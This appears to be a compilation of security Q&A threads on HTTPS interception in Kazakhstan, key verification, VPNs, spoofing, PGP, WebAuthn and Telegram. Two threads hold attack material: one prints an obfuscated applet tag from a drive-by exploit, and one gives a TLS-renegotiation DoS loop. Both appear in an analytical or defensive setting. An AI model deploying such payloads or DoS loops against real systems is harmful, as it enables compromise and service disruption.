How can Kazakhstan perform MITM attacks on all HTTPS traffic? There is now MITM on HTTPS traffic in Kazakhstan.

But for MITM to work, other than installing the certificate, there has to be someone proxying the request, right? Will that role be played by the ISPs?

Say I want to connect to Facebook. Does the proxy spoof Facebook's certificate?
How does that work?

Accessing Facebook under the MITM scheme and looking at the certificates from the browser, would the MITM certificate be visible?

How does that work?

They seem use an In-the-middle SSL Bump proxy.

First, it works as a transparent proxy, meaning it will silently redirect all HTTPS traffic to SSL Bump proxy servers.
You have to install and accept the proxy's Certificate Authority cert to make this work.
Once done, each SSL connection is made from your host to the SSL Bump Proxy with an on-the-fly generated certificate reproducing real certificate properties. Have a look at   (And care about certificate issuer and start of validity timestamp)
Then, the proxy pretends to be the targeted website (Facebook) to receive your request,
it reproduces your request (pretending to be yourself) to the real website
It receives an answer from the real website.
Now, the proxy is able to store the request and/or answer if built to do so.
Then it forwards the answer to your browser.

Will that role be played by the ISPs?

Probably yes, but it could be located anywhere before the traffic leaves the country.

Would the MITM certificate be visible?

Yes, as these certificate are mostly generated on-the-fly, have a look at the "Validity Not before" (in this case approx 1 day before the request) and "Certificate Issuer" (in this case: No data instead of DigiCert Inc).

To check this, go to different websites and check each cert. If you always see the same Issuer, and for each site you reach you always see a Not before with the same interval from your 1st request...

Take some references: Google's issuer is Google Trust Services, Facebook uses DigiCert Inc and so on... Take your own references.

For a website you know well (ie you know if and when the SSL cert could be updated), you could use fingerprints to verify certificates.

What to do

Go to your browser's config/preference -> security -> show/manage SSL certificates  and delete/drop/untrust unwanted certificates (in this case, search for No data or KZ).

Of course, once this is deleted, you will not be able to reach the internet through this network!

You may try to use some VPN (public or private), but I don't know how other connections than HTTP(s) are treated. Even VPN over HTTP(s) may work until official proxies sysadmin will see your encrypted stream...

You could connect to the Internet in alternative ways (satellite, radio frequencies, private wires...).

Use alternative hardware and be careful about your activities while you're connected to this network.

About picture:

This picture was found at https://bugzilla.mozilla.org/show_bug.cgi?id=1567114 and edited to underline

In blue: At top, date of picture, I suppose near the connection and screenshot. On the right, the Not before which seems to exist just 24 hours before the screenshot. (I assume the whole picture was done some minutes after the last cert screenshot, which was done some seconds after the connection, but I'm not sure.)
In orange: the certificate issuer - on the left side, the real issuer and on the right side, there is No data which is more than suspect!
In red: this mark was already present before my edit - you could see KZ  instead of US, but this field could be faked too!

So ensuring the same Certificate Authority is not used on radically different domains is a good indication. (IE: If you see the same issuer when reaching Microsoft, as Google or Facebook, then there is something wrong!)


How were nuclear launch codes authenticated? What is the history of authenticating nuclear launch codes? Were hashes used for verification? How would a nuclear launch base be able to verify that the code is correct, and how were new codes transmitted (networks? radios?) to the bases? Has anyone ever 'hacked' the nuclear code authentication mechanism? Did nuclear devices stop working if the incorrect code was entered? Other than personnell related security measures, what sort of technical measures existed? How secure were the actual codes?

The details have of course changed with time and technology. For many years the final launch code deep inside the ICBM missle sites was "00000000" 20 years Launch Code. The logic was that it was a very difficult assignment for constantly rotating crew in the bunkers and they needed something they could remember.

It has been standard policy in the U.S. to always maintain a human in the loop, multiple humans actually, to preclude any possibility of an automated launch.

There are a number of relatively current descriptions of the details:

Bloomberg

Old Nike Launch

Wikipedia Gold Codes


Validating the key used to encrypt data without sending the key Given: some data (D) encrypted with the key (K), which results in the encrypted payload (E). Is it possible to send E (along with anything else required) to a server to be stored – and later verify that K was used to encrypt the original data resulting in E, without sending K in plain-text form?

The purpose of this is that a user who does not know the original data wants to have access to it and only knows K (it was provided to them). They need to show the server that they know K was used to encrypt the data before the server will return E back to them for actual decryption. Obviously this entire process should not reveal plain-text K to the server or be sent over the network. So that anyone watching the network or sitting on the server does not get free access to K.

One possible solution I came up with is to send a locally hashed version of K with E for storage on the server which can then be verified against another locally hashed version of K later. If the two hashed values of K (the one sent in the request, and they one stored on the server) match, then K was correct as far as the server is concerned.

Can you see any problems with the above solution or can suggest a more secure approach?

Edit: In this hypothetical system, users are anonymous, so user authentication cannot be part of the solution. A user will simply need to provide the server with some form of token showing they have knowledge of what K is. If correct, the server will reply with E, if incorrect, it will return nothing.

This seems to be an authentication and authorization question, unless I'm mistaken. You wish to both authenticate and authorize users using a single code/string/key.

Encryption keys are designed to kept secret, they are called "secret keys" for a reason. There is no reason for a middle man (the server) to store any form of it. This would ultimately increase the attack surface without need.

I would suggest using two alternative secrets, in which the hashes are stored on the server. The first would be of the data, so that only users who can prove knowledge of the data via a hash can be authorized. The second would be of the alternative secret, such that if it was compromised (such as reading the data from a file system), the attacker would still have no idea what the true secret is.

Not only would this have the benefit of higher security (revoke the alternative secret) but also adds a level of authorization, as only those authorized should know the hash of the data.


End to end security of HTTPS websites over VPN Assuming that I am connected to the internet using a VPN service (say Hotspot shield or CyberGhost) and that I am browsing a HTTPS website (say https://www.gmail.com), can my VPN provider see the content of those websites?

No. One of the end is your computer, not the VPN provider, so the connection is encrypted between you and Gmail.

The VPN just acts as an intermediary at the IP level, but HTTPS is handled at the application level.


Is it really true that Google knows most of the worlds wifi passwords Computer World is reporting that Android devices phoning home have given Google a database with almost every wifi password in the world to it.  Is this groundless hysteria, or a genuine concern?

If this is a legitimate report, short of banning android from my network is there a simple way to keep my password private?

The article is a huge amount of FUD and scaremongering, but even if you take the basic info outlined in it then there is only a small worry and it is very easy to protect yourself.

if you have your android device set to backup online then yes, it will back up known wifi passwords. This is the same as iPads and other devices that give this cloud backup option.
assume most people do these online backups- so there is a lot of this sort of data stored. The connection the article makes is that Google knows these passwords. This is not really true. It's like saying that Google knows all your data. It may store it, but that is very different to knowing it.
potentially, if this data is stored in the clear and Google is hacked then it could be a worry, but to be honest, there are far better ways to attack me than access my WiFi.

Solutions:

Use SSL or other encryption when using 3rd party networks, even on encrypted networks. This should be default behaviour anyway.
Turn off online backup on any device that uses your WiFi

And of course - as Joshua says: If you have something you don't want anyone else to see, never share it with anyone (this includes never putting it on someone else's servers)


Using a VM to access internet when malware blocks internet access? My computer was recently infected by some malware which had blocked internet access. I had a virtualization software with an OS in it. Surprisingly, I could access the internet from the VM. I know nothing about VM's and all the stuff that happens behind-the-scenes when i connect to the internet. But, i did not expect this to be possible.

Can someone explain how it was possible for me to connect to the internet via VM ?

It can very well be that your NIC of your VM is bridged to your physical machine, which means the firewall rules which apply to your physical machine, may not apply for your VM.


Identity management in a mixed Linux/Windows environment At places like Google, where some users use Linux and others use Windows and even Mac, how are they managing IDAM?

For example

have a single directory service (probably highly customised)?
is it split into several controllers, say Linux, Mac and Windows?
or do they just use local users?

Microsoft Active Directory can be used out-of-the-box for macOS and certain enterprise ready Linux distributions (e.g. Ubuntu). There is no customization required.

macOS has a feature called Directory Utility.

Ubuntu's feature to support Active Directory.

The company I work for has a similar scenario than what I've described above and it works as expected.


Where's the virus in this web site? I made my friend go to this web site and it immediately infected his machine with malware (AntiVirus SecurityPro). It happened just by going to the front page. It seemed the malware started up, but that Microsoft Security Essentials quickly recognized it and offered to remove it. It took several reboots before it was fully removed. We actually tried the whole thing again and it happened again with this specific web site.

I would like to warn the owner of the page, and I'm also curious, so I've tried reproducing it in a VM, but to no avail. I don't get the same behavior and no infection as far as I can tell.

His machine is a Windows 7SP1 and he was using IE and of course that's what I tried to use in the VM, but it didn't work. I'm suspecting it may be dependent on some special plug-in on his machine, maybe an outdated version of flash. But if I inspect the contents on Chrome, using the developer console, I don't see the page taking any flash in. But it could be this only
happens if the server side recognizes that the client is vulnerable. Can anyone recommend a good web site scanner?

The URL is as follows. You need to replace XX in the below by dk - I did this so as to prevent people who inadvertently click it from infection:

[WARNING MALWARE]http://www.alliance-trafikskole.XX/

Thank you in advance.

You can see it when browsing from the console; nevertheless I found this malware is hiding somehow; while checking with some known scanners, like sucuri, nothing is found. If you are the owner of this website I'd check the sourcecode.

The malware: it is found in the beginning of the link/file and looks like a drive-by-exploit; see this pastebin for more information.

I checked the corresponding link and it looks like a java-exploit

<applet  archive="IbFGkXLx.jar"  code="GPCwolGqNI.class"  width="24"  height="8">
<param value="65LLRIZ-68LLRYZ-68LLRIZ-64LLRYZ-5aLLRIZ-6fLLRYZ-68LLRIZ-62LLRYZ-5dLLRIZ-5eLLRYZ-5dLLRIZ-27LLRYZ-5bLLRIZ-62LLRYZ-73LLRIZ-33LLRYZ-30LLRIZ-30LLRYZ-2fLLRIZ-2aLLRYZ-28LLRIZ-70LLRYZ-62LLRIZ-67LLRYZ-5dLLRIZ-68LLRYZ-70LLRIZ-6cLLRYZ-27LLRIZ-69LLRYZ-61LLRIZ-69LLRYZ-38LLRIZ-66LLRYZ-5eLLRIZ-5dLLRYZ-62LLRIZ-5aLLRYZ-36LLRIZ-31LLRYZ-1fLLRIZ-5dLLRYZ-5eLLRIZ-66LLRYZ-68LLRIZ-36LLRYZ-2dLLRIZ-31LLRYZ-32LLRIZ-1fLLRYZ-5eLLRIZ-5dLLRYZ-62LLRIZ-6dLLRYZ-68LLRIZ-6bLLRYZ-62LLRIZ-5aLLRYZ-65LLRIZ-36LLRYZ-2dLLRIZ-1fLLRYZ-67LLRIZ-5eLLRYZ-70LLRIZ-6cLLRYZ-36LLRIZ-2eLLRYZ-2aLLRIZ-2cLLRYZ-1fLLRIZ-5cLLRYZ-5aLLRIZ-66LLRYZ-69LLRIZ-5aLLRYZ-62LLRIZ-60LLRYZ-67LLRIZ-36LLRYZ-2aLLRIZ-30LLRYZ-2aLLRIZ-1fLLRYZ-5aLLRIZ-69LLRYZ-69LLRIZ-6cLLRYZ-36LLRIZ-2eLLRYZ-32LLRIZ-1fLLRYZ-6cLLRIZ-64LLRYZ-62LLRIZ-67LLRYZ-36LLRIZ-2fLLRYZ-2eLLRIZ-2eLLRYZ-1fLLRIZ-69LLRYZ-5aLLRIZ-60LLRYZ-5eLLRIZ-36LLRYZ-30LLRIZ-2bLLRYZ-32LLRIZ-1fLLRYZ-60LLRIZ-5aLLRYZ-66LLRIZ-5eLLRYZ-36LLRIZ-2cLLRYZ-29LLRIZ-2fLLRYZ-" name="WaKnezleM" />

How did it get there

.. well, Joomla ....

10:40 UTC:

The malicious IFrame is gone from traficskole; it's either cleaned or the malware is somewhat "intelligent".

This is interesting; when checking given itunes.php right now I get the following stuff back:


Plain Text Password Reset Vulnerability If I receive an email with a plain text generated password (in response to a password reset request), is this a vulnerability? The password expires after one use, in other words the user has to change their password as soon as they register.

I could imagine that such an password reset scheme would at least be vulnerable to a man in the middle attack. The man in the middle could get the temp password and then lock out the user with a new password. But is there perhaps another vulnerability?

Assuming that the password is randomly generated and not easily guessed, as you say the main way in which an attacker would compromise this system is to perform a MITM attack.

However any e-mail address based password reset system is vulnerable to the same kind of issue (e.g. one-time links) if the attacker can intercept traffic between the user and their e-mail account.

Whilst it's definitely not perfectly secure or something I would rely on for a high-risk application (like online banking) I don't see one-time passwords as a particularly poor system either.

the main recommendation would be to ensure that you access your e-mail account only over encrypted channels (e.g. SSL or IMAP(S))


Couldn't websites that want to track our activity just store the data in the DOM? For example as the value of an attribute of a html tag.

Then if the user deletes the cookies while at least one page of the website is open, a javascript script would regenerate the cookie by reading the DOM.

Do you know of any websites that are doing this already?

No, I don't know any website that is doing this. Simply, because it's a silly idea. The DOM is in the memory, and when you access it you're accessing objects stored in the memory. If a website wants to do this, it would simply store the cookie in a JavaScript variable.

var Cookie = 'COOKIE_VALUE';

But there are much much better ways of creating sticky cookies. A good example is the evercookie.


Sniff packets of a remote network Is it possible to sniff some packets from a friend network from my network?

If it's possible, how?

You can sniff the packets provided that you have access to the path the packets are travelling. Suppose Router1 belongs to your friend and Router2 is your own router. You would (1) need access to Router1's network, or (2) packets would need to travel onto your network for you to be able to sniff these packets.

Network traffic can be forwarded using routing protocols and ACLs that send traffic from Router 1's network (say 10.1.0.0/16) to Router 2's network (say 10.2.0.0/16). Traffic can then be mirrored using port spanning or port mirroring for later analysis. This can be filtered by IP address or port to examine specific traffic, such as that from the 10.1.0.0/16 network.

An alternative is to take advantage of unpatched or zero-day vulnerabilities, and potentially take a more active approach to execute attacks on, or penetrate the network(s) on which the packets are travelling. However, be aware that there are ethical and legal implications to be considered which are beyond the scope of your question.


How should I interpret, "access controls on the presentation layer are enforced on the server side? This question is with reference to the OWASP standard (Access control rules on the presentation layer are enforced on the server side - OWASP ASVS 3.0 - 4.9)

I'm trying to deeply understand what it means so that I can communicate it to a less-technical colleague.

I have considered one example - if the control isn't enforced then a web page that won't allow a user to change a password but does allow sending a php string which will force the change password functionality as the page is coded to change passwords.

I think that's a little tricky to understand and I don't think it is the best example.

Any suggestions on how best to interpret this? Any examples of not adhering to this standard?

It is simply reiterating the most basic rule of internet security - never trust anything from the client (aka presentation layer, aka browser, etc...).  Since the "presentation layer" operates on an external system (i.e. the computer of the person browsing your website) the server/website has no control over what happens over there, and therefore can't trust anything it says.  As a result, it must re-verify everything itself.  An example should help.

Imagine you have a user portal, and there is an admin portal that is only for users that have been given permission.  The presentation layer "enforces" this access restriction by simply not showing a link to the admin section if you are not an administrator.  This, by itself, is not a sufficient access control.  The server itself has to enforce that access control and deny access to the admin system to anyone who is not an admin.  If it doesn't then any user can access the admin system by simply typing its location in their browser, and automatically gain access to the admin system.  This is a simple example, but also the most common:

Presentation layer: don't show links to areas the user doesn't have
access to
Server side: Reject a request to an area that the user
doesn't have access to

If you only do the former you have a problem.

So that's the short summary.  The server cannot trust anything the browser says because an attacker has full control over what the browser says (in fact they may not even be using a browser, but may simply be pretending to be one).  Therefore, the server has to verify everything itself.


Does TCP/IP protocol offer a reliable way of determining who the actual sender was? So I'm just poking around the TCP/IP protocol using a Ruby library called PacketFu, and it seems to me that in each packet, it is possible to set all of the following

Source IP
Destination IP
Source MAC Address
Destination MAC Address

and a whole bunch of other things.

Here is my question:

What prevents me from sniffing a network, getting someone else's ip/MAC address, and then sending packets out pretending to be them, and running around the internet blaming all of my wrongdoings (assuming I'm acting maliciously) on the owner of the credentials I'm using?

The common, low-level attackers (i.e. people in their home) cannot efficiently spoof their IP address for TCP connection because they will not receive answers. Remember that IP routes packets based on the destination address, so if you send a packet with a fake source address, it may still reach the destination. Some routers may be offended at seeing a packet with an "impossible" source address, in the same way that when you see a friend coming back from holidays with a heavy sun tan, and he claims he was in Great Britain, then you don't really believe him. However, chances are that the packet will go and reach its destination.

Any answer, however, will go to the alleged source address, not the real one. The attacker won't see the responses, and thus must work blindly. This is challenging for TCP, because of the three-way handshake: for the connection to be established, the client must be able to send back to the server an "ACK" packet containing the sequence number that the server sent back in its "SYN+ACK". That sequence number is chosen randomly, as a 32-bit integer; modern operating systems now use reasonably strong (unpredictable) random number generators (see RFC 1948). This implies that our spoofing attacker has only one chance in about 4 billions to get it right.

The bottom-line is that when a TCP connection is actually established, then the server has some rather strong guarantee that whoever it is talking to can see the packets sent by the server to the alleged client IP address. Therefore, faking your IP address for TCP connections is possible only if you are very close to the alleged IP address owner (on the same subnetwork / WiFi access point), or if you have control of a router in the path between the server and the alleged IP address. The latter case means that you are a rather serious attacker, not just any script kiddie in his basement.

MAC addresses are purely local: they don't matter, and are not transmitted, beyond the local subnetwork. A remote server won't see it. Changing your MAC address is useful only to fool local switches and access points which employ MAC filtering.


How to intercept an application that bypasses local proxy I am behind a corporate proxy and the application that i have to test will work only if it is given an exception for using proxy server(i.e it is added to the exceptions list of the sites that do not use proxy server).
In this case, how do i intercept the traffic as all the proxy tools (fiddler, charles proxy, web scarab) are unable to intercept its traffic?

Well, if your application won't work through a proxy, then you're obviously going to have to use non-proxy based analysis.

Note that this will probably not be anything like as user friendly as the proxy tools you are using. For example, Web Scarab knows that an application is communicating over HTTP/HTTPS (simply because it is working over an HTTP proxy) and so it can tell a lot about what it going on. If you have to use a low level sniffer like Wireshark then you are going to be looking at individual packets that could be anything and, while Wireshark will try to decode them as much as possible, you're going to have to do a lot more work.

You're going to miss fiddler even more if you were using it to modify the data going through - at the packet level you're going to use something like Nemesis which is heavy going.


Getting more users to use PGP Does anyone know of browser Plugins that make Composing, sending, and reading email basically effortless?

Mailvelope doesn't seem to be working with the floating compose boxes in Gmail currently.

In addition, a feature I didn't see in Maivelope was a lookup against public key stores for the email and favoring Encrypted over non automatically.

basically my question is, if you were going to get your parents, who are on a web mail, to encrypt their email, how would you do it? (Ideally with maintaining access from more than 1 PC with a Mail Client), and even more ideally, a Mobile client that can do it as well.

Suggestions?

The usability of PGP has been a subject of much study:
Why Johnny Can't Encrypt

  Among the eleven participants who figured out how to encrypt, failure to understand the public key model was widespread.  Seven participants (P1, P2, P7, P8, P9, P10 and P11) used only their own public keys to encrypt email to the team members.  Of those seven, only P8 and P10 eventually succeeded in sending correctly encrypted email to the team members before the end of the 90 minute test session

Email encryption schemes generally require you to install a security certificate containing a private key on your computer and to give your contacts a public key so they can send you an encrypted message.  According to the study, this seems to be too much of a barrier for most people.

I've tried mailvelope briefly. It simplifies things, reducing the difficulty participants had with managing public key technology in the paper I linked to.

SecureGmail (only for use with Gmail and Google Chrome) uses symmetric encryption and requires you to get the password to your correspondent through a (hopefully secure) side channel.

I think the field of doing this through a browser extension is still immature.  For example, I see that until March of this year, mailvelope encrypted your email after you type it, allowing the webmail service (Google) to save the plaintext somewhere.  What other growing pains will it experience?

To answer your basic question, if I was trying to get my parents to encrypt email, I would tell them to compose a message to me in a file, use a desktop encryption tool to encrypt the file and then send the file as an attachment.  This still would require them to exchange keys before hand and I don't know how to make this easier.


Protect against client-initiated renegotiation DoS in OpenSSL/Python According to https://blog.qualys.com/ssllabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks, servers supporting SSL/TLS connections and allowing client-initiated renegotiations are susceptible DoS attacks by a client who continually renegotiates the ssl connection. I was able to get the CPU to spin up to about 15% with this "exploit" script I wrote:

(while [ 1 -eq 1 ]; do echo R; sleep 0.01; done) | openssl s_client -cert agent.crt -key agent.key -connect 192.168.110.100:4959

Anyway, how do I disable client-initiated renegotiations for OpenSSL (which I am using through Python's openssl library)?

There is no simple way to disable client initiated renegotiations at the server side. The usual way is to detect and count renegotiations by using SSL_CTX_set_info_callback with an appropriate function and to close the connection if too much renegotiations happen.

A code example how this can be done within C can be found at https://github.com/nodejs/node-v0.x-archive/issues/2726#issuecomment-3901047. The set_info_callback function should be available within python's OpenSSL interface too, but I'have no running code for this. If you need help with the Python specific part you might better ask at stackoverflow then.


Have weaknesses in SHA-1 and MD5 ever actually been successfully used in an attack? Pretty much every guide, how-to, and reference for dealing with passwords and hashing has a warning in big or bold letters stating something along the lines of:

  SHA-1 and MD5 are NOT secure and should not be used.

Fair enough, it's not much trouble to use SHA-256 or something else. But have there been any examples of said weaknesses actually being successfully used in an attack? Just how much weaker do these vulnerabilities make the algorithms?

I'm not aware of any publicly known attack using collision in SHA-1, but MD5 collisions were probably used already 2010 within attacks. In 2012 it was discovered that a malware from the Flame attack had a valid signature from Microsoft, which was possible due to a MD5 collision attack. See http://blogs.technet.com/b/srd/archive/2012/06/06/more-information-about-the-digital-certificates-used-to-sign-the-flame-malware.aspx for more details.

As for using MD5 or SHA-1 with passwords: Simple hash some trivial password with MD5 or SHA-1 and then look up the hash with google. Example:

 password:   "secret"
 md5 (hex):  "5ebe2294ecd0e0f08eab7690d2a6ee69"
 sha1 (hex): "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4"

The first hit on google for the MD5 hash presents you with the password, as does the first hit when searching for the SHA1 hash. Thus typical passwords can easily be detected as long as the hash is not salted.

Apart from that, even SHA-256 is a bad choice for passwords. These kind of hash algorithms are designed to be fast which only makes brute-forcing passwords easier. For more details about this topic see How secure are sha256 + salt hashes for password storage.


Is an Antivirus scan via network share equivalent to an offline scan of the system? When a system is suspected to be infected, one of the measures often recommended for cleaning the system (without actually taking the "nuke from orbit" approach) is to scan the drive with anti-malware tools from a known-trustworthy system. The way this is normally accomplished is by removing the drive from the suspect system, and attaching it externally or internally (as a non-system drive) to the trusted system. However, an alternative option in theory would be to scan the suspect system over the network.

For example, on a Windows system, an Administrator can read the entire contents of the system drive via the built-in share \\hostname\C$. A networked drive mapping can be made from the trusted system to the suspect system's C$ share, and then antimalware programs can be run against the mapped drive.

Is a remote file system scan in this way equivalent in effectiveness to an offline scan of the drive? Or, since the suspect system's OS is still running, are there common ways that rootkits can still hide their presence from the system being used for scanning over the network which would not be possible if the suspect system was actually offline?

Obviously, "nuke from orbit" is, as they say, "the only way to be sure". However, that option is not in-scope for this question. I'm only asking if a remote scan of a file system is just as effective against rootkits as an actual offline scan of the same system.

No, absolutely not.
As your trusted system requests the files from the untrusted system, a root kit can hide all bad files. The even can just be locked by a process, so your trusted client cannot access the files.
If we exclude the chance of a modified bios or hdd firmware, you can run a live system from usb and export the drive using samba, nfs or sshfs.


Displaying username in profile section of a Web Application Is it a good idea to display the username in the user profile section of a web application, when the user is already logged in?
My web application uses basic authentication and does not have any 2 factor authentication. What could be the impact?

I would say displaying the username on the page (often in the top navbar) is not a matter of security but user experience. Maybe it's possible to have multiple accounts in the application, then it's nice to see which of your accounts is currently logged in. Or maybe you have a "normal" account and an "administrative" account or such things.

In terms of security, this only may prevent you from "accidently" sign in with a different account. But that does not happen quite often ;-) Instead, a typical scneraio would be a hacker stealing your credentials or access token and uses the site with your account - but you don't stop him doing this by displaying or not displaying the username in the navbar or somewhere else.


Why don't PGP keyservers enforce double-opt-in? One thing that I found out when starting using PGP:
When I uploaded my keys to the SKS keyserver, the keyserver did not take any action to verify that I am who I claim to be.

Since a PGP key contains a email adress, at least, the keyserver could have sent an email with an link inside that must be clicked for the key to become live on the keyserver. Then you atleast know that the person who uploaded the PGP key, does atleast Control the email adress he claims to own.

Why does not PGP keyservers verify the ownership of the claimed email account?

Yes, I do understand the web of trust system, but doing a simply automated "Click this link to make your key go live on the key servers" would at least require any impostor to have access to the email account, and such a system could be implemented on keyservers with only a few lines of code.

Another thing I dont know, is how do people verify other's claimed email at Key signing parties? At key signing parties, people show their ID card. But there are no email addresses on the ID card. Yes today with the smartphone evolution, you could send a email to the claimed email address and ask the other person to read it out loud, but how did people do at KSP's when smartphones were not a big thing and you didn't have access to the email account for the moment on the KSP? Especially with email accounts that are behind firewalls, eg Corporate or ISP accounts that can only be used inside the authorized network?

Key servers may never be understood as a source of trust and valid keys. Their only job is to exchange keys, so users of OpenPGP can use the web of trust formed by certifications between keys to validate trusted ones.

Access to a Mail Address Does not Imply Impersonation

Trusting a key is (for most people) more than just verifying a mail address once. Mail addresses tend to change, to invalidate, even to be assigned again afterwards.

Validating an email address based on trust would require some form of invalidation, eg. removal. But how should for example a revocation or other changes be distributed afterwards?

Some Key Servers Do!

But, there are key servers doing so, and thus take the role of a certification authority. Ever wondered about certifications issued by the PGP Global Directory Verification Key? These are issued by the PGP Global Directory Service after validating the mail address contained in a UID, will invalidate after a given time without re-approval (six months, if I remember correctly) and your key will be removed from the server if the certification expired.

But remember: this key server is different from the others, as it offers a very basic authentication of key ownership, but does not support the OpenPGP "way" to validate keys using the web of trust.

How to Define Valid Keys?

As there is no central "trust institution", no certificate authority (or even not several hundred of them, as in X.509); who should define whom to trust? The key server operator? This would at best reduce the number of available keys by order of magnitude, in fact possibly to a few dozen or hundred trusted keys of the operator, compared with millions of keys mostly not even connected to the OpenPGP web of trust.

Additionally, each OpenPGP users potentially has his own rules to decide how to validate keys, although these might be rather similar most of the time.

Key servers simply form a method to exchange data between OpenPGP clients. and usually do not take the role of a certification authority.

Key Servers Synchronize

Most key servers synchronize with each other. Already the ones listed in the SKS key server pool list about two hundred of them, most of them operated by individuals who even don't know each other.

Having such a decentralized key server infrastructure is crucial against several attacks (denial of service, deletion of keys, having a central log of what's requested), especially from those having access to large portions of a network (ISPs, governments).

But: how should email address verification be achieved in such a distributed network of unrelated servers not trusting each other? The only possibility (at least, no other was proposed so far) is to replicate everything, and each key server would have to decide on the validity.

Would you like to approve each of your mail addresses to 200+ key servers in given (and very likely different and rather short) time intervals?


What is the entropy of a password made with pwgen? pwgen is a unix utility that generates "memorable" passwords randomly. The man page says the entropy is lower than truly random passwords with the same specification. What is the actual entropy of a password made with pwgen?

The actual answer to your question is too hard for me to reasonably calculate, but I can say a few useful things about this.

pwgen does not produce passwords uniformly. Some passwords are more likely than others. This is because it tries to mimic some of the frequencies we have in English. This is true of most "pronounceable" password generators. Note I discuss this in my PasswordConLV15 talk. A link to the video of the talk and the slides are here: https://blog.agilebits.com/2015/08/07/unspeakable-passwords-jeff-goldberg-talks-to-passwords15/

There is no clear answer to what notion of entropy is most appropriate when password creation schemes when the schemes do not produce uniform output. I have argued that we should be using min-entropy in such cases.

Additionally, some versions of pwgen are subject to the modulo bias. It is a relatively small bias that comes up through a common design error when trying to pick a number between 1 and N even when the underlying random number generator is good.

So between the relatively small modulo bias and the much larger deliberate bias toward more likely sounding syllables, it would require a level of analysis beyond what I am willing to do to actually calculate the min-entropy.

It is frustrating that popular password generators are hard to actually analyze in terms of strength. But for most practical purposes, if you just be sure to generate things that are a few characters longer than you otherwise might, then your gain in strength from generating a longer password will surely overwhelm the loss of strength from their non-uniform behavior.


Confusing terminologies: Incident, alert, event, ticket I am doing research on Security orchestration and automation response (SOAR) and  three above terminologies make me very confused.

We are currently following the workflow like: some security events trigger an alert, these alert will be passed to the analyst, and if the alert is a real issue, then we create a ticket on our client's ticketing system.

But when I read about SOAR where the term incident appears, I found it is difficult to find exact definitions for those terms and explain them to other parties (analyst, clients).

An event is something that happens that might cause a security problem; an incident is something that happens that does cause a security problem.


Open ports on my router's guest network? I've created an open guest network on my router (N600 Wireless Dual Band Gigabit Router Model No. TL-WDR3600 v1, 3.14.3 Build 150518 Rel.72050n). Internally nmap gives me:

Nmap scan report for 192.168.0.1
Host is up (0.041s latency).
Not shown: 992 closed ports
PORT      STATE    SERVICE
21/tcp    filtered ftp
22/tcp    filtered ssh
80/tcp    filtered http
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
1041/tcp  filtered danf-ak2
1900/tcp  open     upnp
49152/tcp open     unknown

I don't understand why any of the ports are listed. When I use nmap on my secure wifi network I see:

Nmap scan report for 192.168.0.1
Host is up (0.044s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1900/tcp  open  upnp
49152/tcp open  unknown

Didn't even know my router had ssh capabilities... Why is FTP showing on the guest network? How to find out what 49152 is?

These are open services on your network
Port 49152: As the first port in the dynamic/private range (49152-65535), this port is commonly used by applications that utilize a dynamic/random/configurable port.

uTorrent, and Azureus/Vuze p2p torrent clients often use this port.

Apple Xsan Filesystem Access uses the dynamic/private range 49152-65535 as well.


VPN Access to PCI Environment Edge Devices Does it violate PCI DSS requirements to provide a third party company with a Site-to-Site VPN connection for full management (SSH & HTTPS) access to network security equipment (such as a Web Application Firewall) that protects data in a PCI environment?

Also, would it violate PCI DSS requirements if the third party company provides their employees with Cisco AnyConnect so that essentially they can connect to their work network from anywhere and then bounce off the Site-to-Site VPN to those same network security appliances?

If either or both of those scenarios violates PCI DSS requirements where would I find a reference for it?

Thank you!

It's not a violation per se. I think it puts them and their equipment "in scope" for your PCI compliance efforts. Ask your QSA for clarification if you are unsure.


Which party stores the link between user and device in WebAuthn? Looking at the online resources regarding WebAuthn, I still haven't been able to figure out which of the involved components (or parties) that store the link between the user and his/her authenticator device.

I borrowed this picture from Yubico's webpage;

Is it the Relying Party that stores the association of "user A and authenticator A", or is it the Client itself?

Is it possible for a user to have several authenticator devices? If so, who sets the limit?

An authenticator can optionally store a User Handle specified by the Relying Party when a new credential is created, however for backwards compatibility with U2F authenticators the User Handle is also allowed to be null. Regardless, the Relying Party still needs to know which credentials are associated with each user, so that it can verify the credential used is actually owned by that user, and not someone else:

  Identify the user being authenticated and verify that this user is the owner of the public key credential source credentialSource identified by credential.id:

  If the user was identified before the authentication ceremony was initiated,
  verify that the identified user is the owner of credentialSource. If credential.response.userHandle is present, verify that this value identifies the same user as was previously identified.
  If the user was not identified before the authentication ceremony was initiated,
  verify that credential.response.userHandle is present, and that the user identified by this value is the owner of credentialSource.

So to answer your question, the Relying Party must associate credentials with users, and authenticators may associate credentials with users.

Due to the possibility of lost authenticators:

  Relying Parties SHOULD allow and encourage users to register multiple credentials to the same account.


Are Telegram secret chats secure assuming MTProto isn't? For those who don't know: Telegram is a partially open source Whatsapp alternative (Server is closed source) which offers secret chats and normal chats. Secret chats are encrypted with Diffie-Hellman key exchange and are end-to-end encrypted. One can verify his peer's signature using a barcode. Normal chats are not end-to-end encrypted, but have the benefit of being synced between one's devices.

Telegram has been widely criticized for using a brand new protocol, MTProto. Whether MTproto is actually secure or not is out of the scope of this question, let us assume it is insecure.

Since DH is used in secret chats, will a compromise of MTProto compromise secret chats? Are DH and MTproto coupled in such a way that if MTProto fails, DH fails? Or is it layered so that the two must fail for secret chats to become vulnerable?

In short, if one does not trust MTProto, can one still trust secret chats thanks to DH?

Note: MTProto also uses DH for device registeration, this is unrelated.

Useful official documents:

Detailed description of MTProto

Technical FAQs

Secret chats

Update:

Anton Garcia Dosil stated that DH is just a way to distribute keys and is not an encryption method itself. This is definitely true, and I apologize for being a bit vague here. A clearer formulation of my question would be: Once the two peers exchange DH keys and begin end-to-end encryption, does MTProto use an encryption method which is known to be secure? or does it use yet another home brewed encryption scheme? If it does use a known encryption method X for secret chats, Are X and MTproto coupled in such a way that if MTProto fails, X fails? Or is it layered so that the two must fail for secret chats to become vulnerable?

The objective of Diffie-Helmann (I guess they authenticate DH somehow) is only key distribution.

The objective of MTProto is encryption.

Diffie-Helmann feeds MTProto with keys lets say.  It is in a higher level.  Although MTProto is 'broken', secure key establishment still takes place.  So DH effectively does not fail in its purpose (key distribution).

Having said that, if you are able to break MTProto (say the keylength is small) by bruteforcing the keys in some manner, the issue is still of MTProto and not of DH.

The protocol is as strong as its weakest link.  In this case if we think MTProto is unreliable, then the whole protocol is unreliable.

EDIT
